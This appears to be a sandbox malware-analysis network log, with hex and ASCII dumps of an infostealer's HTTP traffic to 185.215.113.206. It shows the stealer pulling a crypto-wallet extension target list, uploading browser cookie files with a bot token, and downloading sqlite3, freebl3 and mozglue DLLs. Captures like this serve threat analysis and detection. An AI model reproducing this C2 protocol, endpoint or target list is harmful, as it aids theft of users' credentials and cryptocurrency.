Nov 13, 2024 14:41:08.123388052 CET	1236	IN	Data Raw: 61 6d 39 38 4d 58 77 77 66 44 42 38 55 32 39 73 5a 6d 78 68 63 6d 55 67 56 32 46 73 62 47 56 30 66 47 4a 6f 61 47 68 73 59 6d 56 77 5a 47 74 69 59 58 42 68 5a 47 70 6b 62 6d 35 76 61 6d 74 69 5a 32 6c 76 61 57 39 6b 59 6d 6c 6a 66 44 46 38 4d 48 Data Ascii: am98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2p
Nov 13, 2024 14:41:08.123406887 CET	1236	IN	Data Raw: 5a 32 70 6c 62 57 56 72 5a 57 4a 6b 63 47 56 76 61 32 4a 70 61 32 68 6d 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 46 79 64 47 6c 68 62 69 42 42 63 48 52 76 63 79 42 58 59 57 78 73 5a 58 52 38 5a 57 5a 69 5a 32 78 6e 62 32 5a 76 61 58 42 77 59 6d Data Ascii: Z2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3B
Nov 13, 2024 14:41:08.123481035 CET	1236	IN	Data Raw: 62 47 31 6e 59 57 35 6d 59 57 46 73 61 32 78 69 66 44 46 38 4d 48 77 77 66 45 4e 76 62 57 31 76 62 6b 74 6c 65 58 78 6a 61 47 64 6d 5a 57 5a 71 63 47 4e 76 59 6d 5a 69 62 6e 42 74 61 57 39 72 5a 6d 70 71 59 57 64 73 59 57 68 74 62 6d 52 6c 5a 48 Data Ascii: bG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR
Nov 13, 2024 14:41:08.123492956 CET	848	IN	Data Raw: 63 47 4e 6e 5a 57 78 76 63 47 64 38 4d 58 77 77 66 44 42 38 51 32 39 74 63 47 46 7a 63 79 42 58 59 57 78 73 5a 58 51 67 5a 6d 39 79 49 46 4e 6c 61 58 78 68 62 6d 39 72 5a 32 31 77 61 47 35 6a 63 47 56 72 61 32 68 6a 62 47 31 70 62 6d 64 77 61 57 Data Ascii: cGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGphY3BrbWpta2NhZmNocHBibnBuaGRtb258MXwwfDB8RWxsaSAtIFN1aSBXYWxsZXR8b2NqZHBtb2FsbG1nbWpiYm9nZmlpYW9mcGhiamdjaGh8MXw
Nov 13, 2024 14:41:08.123996973 CET	204	IN	Data Raw: 62 47 56 30 66 47 35 77 61 48 42 73 63 47 64 76 59 57 74 6f 61 47 70 6a 61 47 74 72 61 47 31 70 5a 32 64 68 61 32 6c 71 62 6d 74 6f 5a 6d 35 6b 66 44 46 38 4d 48 77 77 66 45 31 35 56 47 39 75 56 32 46 73 62 47 56 30 66 47 5a 73 5a 47 5a 77 5a 32 Data Ascii: bGV0fG5waHBscGdvYWtoaGpjaGtraG1pZ2dha2lqbmtoZm5kfDF8MHwwfE15VG9uV2FsbGV0fGZsZGZwZ2lwZm5jZ25kZm9sY2JrZGVla25iYmJuaGNjfDF8MHwwfFVuaXN3YXAgRXh0ZW5zaW9ufG5ucG1mcGxrZm9nZnBtY25ncGxobmJkbm5pbG1jZGNnfDF8MHwwfA==
Nov 13, 2024 14:41:08.126420975 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHCGCFHDHIIIDGCAAEGD Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 43 47 43 46 48 44 48 49 49 49 44 47 43 41 41 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 62 31 37 66 34 37 64 38 64 64 33 66 34 66 33 61 36 35 30 37 62 62 34 63 36 36 30 65 36 32 37 35 35 62 37 64 30 64 36 31 38 64 38 66 32 38 62 66 39 32 37 63 30 33 36 36 39 37 39 35 62 36 31 36 31 37 66 35 38 34 66 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 47 43 46 48 44 48 49 49 49 44 47 43 41 41 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 47 43 46 48 44 48 49 49 49 44 47 43 41 41 45 47 44 2d 2d 0d 0a Data Ascii: ------FHCGCFHDHIIIDGCAAEGDContent-Disposition: form-data; name="token"cb17f47d8dd3f4f3a6507bb4c660e62755b7d0d618d8f28bf927c03669795b61617f584f------FHCGCFHDHIIIDGCAAEGDContent-Disposition: form-data; name="message"fplugins------FHCGCFHDHIIIDGCAAEGD--
Nov 13, 2024 14:41:08.406143904 CET	335	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:08 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 13, 2024 14:41:08.431045055 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJDHCFCBGIDGHJJKJJDG Host: 185.215.113.206 Content-Length: 7511 Connection: Keep-Alive Cache-Control: no-cache
Nov 13, 2024 14:41:08.431092024 CET	7511	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 48 43 46 43 42 47 49 44 47 48 4a 4a 4b 4a 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 62 31 37 66 34 Data Ascii: ------HJDHCFCBGIDGHJJKJJDGContent-Disposition: form-data; name="token"cb17f47d8dd3f4f3a6507bb4c660e62755b7d0d618d8f28bf927c03669795b61617f584f------HJDHCFCBGIDGHJJKJJDGContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 13, 2024 14:41:09.228919983 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:08 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 13, 2024 14:41:09.572035074 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 13, 2024 14:41:09.849900007 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:09 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 13, 2024 14:41:09.849916935 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49761	185.215.113.206	80	6720	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 14:41:19.280905962 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBFCBKKFBAEHJKEBKFCB Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 46 43 42 4b 4b 46 42 41 45 48 4a 4b 45 42 4b 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 62 31 37 66 34 37 64 38 64 64 33 66 34 66 33 61 36 35 30 37 62 62 34 63 36 36 30 65 36 32 37 35 35 62 37 64 30 64 36 31 38 64 38 66 32 38 62 66 39 32 37 63 30 33 36 36 39 37 39 35 62 36 31 36 31 37 66 35 38 34 66 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 43 42 4b 4b 46 42 41 45 48 4a 4b 45 42 4b 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 43 42 4b 4b 46 42 41 45 48 4a 4b 45 42 4b 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------CBFCBKKFBAEHJKEBKFCBContent-Disposition: form-data; name="token"cb17f47d8dd3f4f3a6507bb4c660e62755b7d0d618d8f28bf927c03669795b61617f584f------CBFCBKKFBAEHJKEBKFCBContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------CBFCBKKFBAEHJKEBKFCBContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------CBFCBKKFBAEHJKEBKFCB--
Nov 13, 2024 14:41:20.709794044 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 13, 2024 14:41:20.781606913 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBAKJEHDBGHIEBGCGDGH Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 41 4b 4a 45 48 44 42 47 48 49 45 42 47 43 47 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 62 31 37 66 34 37 64 38 64 64 33 66 34 66 33 61 36 35 30 37 62 62 34 63 36 36 30 65 36 32 37 35 35 62 37 64 30 64 36 31 38 64 38 66 32 38 62 66 39 32 37 63 30 33 36 36 39 37 39 35 62 36 31 36 31 37 66 35 38 34 66 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 4b 4a 45 48 44 42 47 48 49 45 42 47 43 47 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 4b 4a 45 48 44 42 47 48 49 45 42 47 43 47 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------CBAKJEHDBGHIEBGCGDGHContent-Disposition: form-data; name="token"cb17f47d8dd3f4f3a6507bb4c660e62755b7d0d618d8f28bf927c03669795b61617f584f------CBAKJEHDBGHIEBGCGDGHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------CBAKJEHDBGHIEBGCGDGHContent-Disposition: form-data; name="file"------CBAKJEHDBGHIEBGCGDGH--
Nov 13, 2024 14:41:21.564930916 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49832	185.215.113.206	80	6720	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 14:41:27.848431110 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGCGDBGCAAEBFIECGHDG Host: 185.215.113.206 Content-Length: 3087 Connection: Keep-Alive Cache-Control: no-cache
Nov 13, 2024 14:41:27.848498106 CET	3087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 62 31 37 66 34 Data Ascii: ------DGCGDBGCAAEBFIECGHDGContent-Disposition: form-data; name="token"cb17f47d8dd3f4f3a6507bb4c660e62755b7d0d618d8f28bf927c03669795b61617f584f------DGCGDBGCAAEBFIECGHDGContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Nov 13, 2024 14:41:29.238722086 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 13, 2024 14:41:29.523581028 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBAFIDAECBGCBFHJEBGD Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 41 46 49 44 41 45 43 42 47 43 42 46 48 4a 45 42 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 62 31 37 66 34 37 64 38 64 64 33 66 34 66 33 61 36 35 30 37 62 62 34 63 36 36 30 65 36 32 37 35 35 62 37 64 30 64 36 31 38 64 38 66 32 38 62 66 39 32 37 63 30 33 36 36 39 37 39 35 62 36 31 36 31 37 66 35 38 34 66 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 46 49 44 41 45 43 42 47 43 42 46 48 4a 45 42 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 46 49 44 41 45 43 42 47 43 42 46 48 4a 45 42 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------CBAFIDAECBGCBFHJEBGDContent-Disposition: form-data; name="token"cb17f47d8dd3f4f3a6507bb4c660e62755b7d0d618d8f28bf927c03669795b61617f584f------CBAFIDAECBGCBFHJEBGDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------CBAFIDAECBGCBFHJEBGDContent-Disposition: form-data; name="file"------CBAFIDAECBGCBFHJEBGD--
Nov 13, 2024 14:41:30.306406975 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 13, 2024 14:41:31.624391079 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 13, 2024 14:41:31.909249067 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:31 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 13, 2024 14:41:31.909267902 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Nov 13, 2024 14:41:31.909280062 CET	324	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Nov 13, 2024 14:41:31.909466982 CET	1236	IN	Data Raw: 0f b6 c9 c1 e1 18 89 d7 89 54 24 18 0f b6 d2 c1 e2 10 09 ca 0f b6 7c 24 20 c1 e7 08 09 d7 0f b6 4c 24 24 09 f9 0f b6 d3 c1 e2 18 8b 5c 24 08 0f b6 ff c1 e7 10 09 d7 0f b6 5c 24 0c c1 e3 08 09 fb 0f b6 54 24 10 09 da 89 cb 31 c3 25 00 00 00 ff 81 Data Ascii: T$\|$ L$$\$\$T$1%1%1T$D\|$@\|$t\$(D$\$(sFD$,D$s@D$,D$s<D$,sBD$,s@D$ ,D$ D$$D$$D$(D$GD$?
Nov 13, 2024 14:41:31.909495115 CET	1236	IN	Data Raw: 03 00 00 00 29 c8 c1 f8 1f 80 7c 33 f4 01 19 db f7 d0 09 c3 21 fb b8 04 00 00 00 29 c8 c1 f8 1f 8b 7d 1c 80 7c 37 f3 01 f7 d0 19 ff 09 c7 21 df 21 d7 b8 05 00 00 00 29 c8 c1 f8 1f f7 d0 8b 55 1c 80 7c 32 f2 01 19 db 09 c3 b8 06 00 00 00 29 c8 c1 Data Ascii: )\|3!)}\|7!!)U\|2)\|2!!)M\|1t/EU;U]w"1E9t:RVP -:]QsE9uSjPEtSP\M1
Nov 13, 2024 14:41:31.909507036 CET	1236	IN	Data Raw: c4 08 c7 47 08 01 00 00 00 57 e8 3a fc 07 00 83 c4 04 eb 09 c7 47 08 01 00 00 00 89 fe 89 f0 5e 5f 5b 5d c3 cc cc cc cc 55 89 e5 53 57 56 83 ec 08 8b 55 18 8b 4d 14 8b 5d 0c 8b 75 08 8b 3e 8b 46 04 39 d8 74 3a 8d 4e 08 8b 56 08 c7 46 08 00 00 00 Data Ascii: GW:G^_[]USWVUM]u>F9t:NVFMUtHHjWhjV4%tUVPdnFEFEF^Kt=Uuu#t>t FHjW
Nov 13, 2024 14:41:31.909512043 CET	1236	IN	Data Raw: 00 89 c6 8b 45 0c 05 00 ff ff ff 3d 01 ff ff ff 73 20 68 0e e0 ff ff e8 6b f7 07 00 83 c4 04 68 02 01 00 00 56 e8 6f f7 07 00 83 c4 08 e9 cb 00 00 00 8d bd f0 fe ff ff 68 00 01 00 00 68 20 21 08 10 89 b5 ec fe ff ff 56 e8 cf f7 07 00 83 c4 0c bb Data Ascii: E=s hkhVohh !Vf.@uVuW)9wSuWT>\>=t%>>f
Nov 13, 2024 14:41:31.909519911 CET	1236	IN	Data Raw: dc 89 7d e4 89 c8 31 c9 ba 00 00 00 00 c7 45 e0 00 00 00 00 89 45 d4 83 f8 08 0f 82 fc 02 00 00 8b 4d d4 83 e1 f8 8d 41 f8 89 c2 c1 ea 03 83 c2 01 85 c0 89 4d c8 0f 84 ef 01 00 00 89 d1 83 e1 fe 66 0f 6f 05 c0 20 08 10 31 f6 66 0f ef c9 66 0f ef Data Ascii: }1EEMAMfo 1ff}]fn4ff`fafofrfo f[fpffpffof% fpfpfbfnlff`fafffrf% [fpffp
Nov 13, 2024 14:41:31.910149097 CET	460	IN	Data Raw: d8 00 0f 84 03 02 00 00 89 5d dc 89 d3 89 45 e4 f7 5d d8 b9 01 00 00 00 88 de 89 fb 80 c3 01 0f b6 fb 8b 45 f0 8a 14 38 00 d6 88 75 e8 0f b6 f6 8a 34 30 88 34 38 88 14 30 00 d6 0f b6 f6 8a 75 e8 8b 7d e4 8a 54 0f ff 32 14 30 8b 45 dc 88 54 08 ff Data Ascii: ]E]E8u40480u}T20ETEuE14^_[]UM1]U}f.MMuEMMU2}E0MEEM
Nov 13, 2024 14:41:31.910198927 CET	1236	IN	Data Raw: 3b 75 c8 0f 83 c7 fe ff ff 8b 55 ec 01 ca 01 cf 01 4d dc 83 7d d8 00 0f 85 c4 fc ff ff 8b 45 f0 88 90 00 01 00 00 88 98 01 01 00 00 e9 74 fe ff ff 89 f8 89 cf 83 7d d8 00 0f 85 fd fd ff ff 8b 45 f0 89 f9 88 88 00 01 00 00 88 90 01 01 00 00 e9 50 Data Ascii: ;uUM}Et}EPEE},7,7E@2CM.USWV\2tRAA q$]QD1A@
Nov 13, 2024 14:41:33.023358107 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 13, 2024 14:41:33.309817076 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:33 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 